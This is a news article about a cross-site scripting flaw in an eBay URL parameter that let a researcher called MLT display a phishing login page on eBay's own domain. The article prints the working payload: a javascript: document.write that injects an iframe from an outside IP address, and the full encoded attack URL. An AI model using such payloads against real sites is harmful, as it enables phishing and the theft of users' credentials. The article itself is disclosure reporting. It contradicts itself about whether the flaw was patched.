Bug discovered allowing cyber-criminals to steal eBay passwords

A researcher naming him or herself 'MLT' has reportedly discovered what he/she described as “a fairly basic”, but effective flaw in eBay’s website, which has potentially exposed its customers to an advanced phishing attack. The flaw allows cyber-criminals to host a fake login page (phishing page) linked to eBay’s own website, which then allows the perpetrator to steal users’ confidential passwords and harvest their data. It does this by automatically exporting the details that the user has entered into the spoof site during their attempts at signing in. The flaw lies in the URL destination and a bug called a cross-site scripting (XSS) vulnerability, which allows the attacker to insert malicious code into the legitimate website. URL links could be embedded with malicious emails and sent to the unsuspecting user, who could in turn find their own accounts hacked and used to scam other users. The vulnerability was reported to the company in December 2015, and reportedly patched this month.

A simple, yet effective flaw discovered on eBay's website exposed hundreds of millions of its customers to an advance Phishing Attack





An Independent Security Researcher reported a critical vulnerability to eBay last month that had the capability to allow hackers to host a fake login page, i.e. phishing page, on eBay website in an effort to steal users' password and harvest credentials from millions of its users.





The researchers, nicknamed MLT , said anyone could have exploited the vulnerability to target eBay users in order to take over their accounts or harvest thousands, or even millions, of eBay customers credentials by sending phishing emails to them.

MLT published a blog post about the eBay flaw on Monday, demonstrating how easy it is to exploit the flaw like this and steal customers' passwords.





Here's How ebay Hack Works





The flaw actually resided in the URL parameter that allowed the hacker to inject his iFrame on the legitimate eBay website.

This is a common web bug, technically known as a Cross-Site Scripting (XSS) vulnerability, in which attackers can exploit the vulnerability to inject malicious lines of code into a legitimate website.

MLT included an iframe link to his own 3rd-party phishing page within eBay's regular URL, which makes it look like the login page "was hosted on the legitimate eBay website". MLT included an iframe link to his own 3rd-party phishing page within eBay's regular URL, which makes it look like the login page "".





The login page looked almost exactly like eBay's actual login page, except the second part of the customised URL, which most of the users don't even notice.

UPCOMING WEBINAR 🔐 Mastering API Security: Understanding Your True Attack Surface Discover the untapped vulnerabilities in your API ecosystem and take proactive steps towards ironclad security. Join our insightful webinar! Join the Session



In this case, the iFrame containing the researcher's phishing page was injected to the page using the following payload:

document.write('<iframec="https://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html” width="1500″ height="1000″>')

Here is the full URL, including the above payload, at time of injection:

https://ebay.com/link/?nav=webview&url=javascript:document.write%28%27%3Ciframe%20src=%22https://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html%22%20width=%221500%22%20height=%221000%22%3E%27%29





Here's the screenshot of the URL:

After this was done, MLT typed his username and password on the infected website and hit sign in, which gave him an error. But meanwhile, he was able to snatch the entered credentials in plaintext.





Video Demonstration





MLT also provided a video proof-of-concept, demonstrating the flaw in real-time. You can watch the video below:





MLT responsibly reported the flaw to eBay on December 11, but after an initial response asking for more information the following day, the company stopped responding to the researcher's emails and did not release a patch, even after knowing the consequences of the flaw.



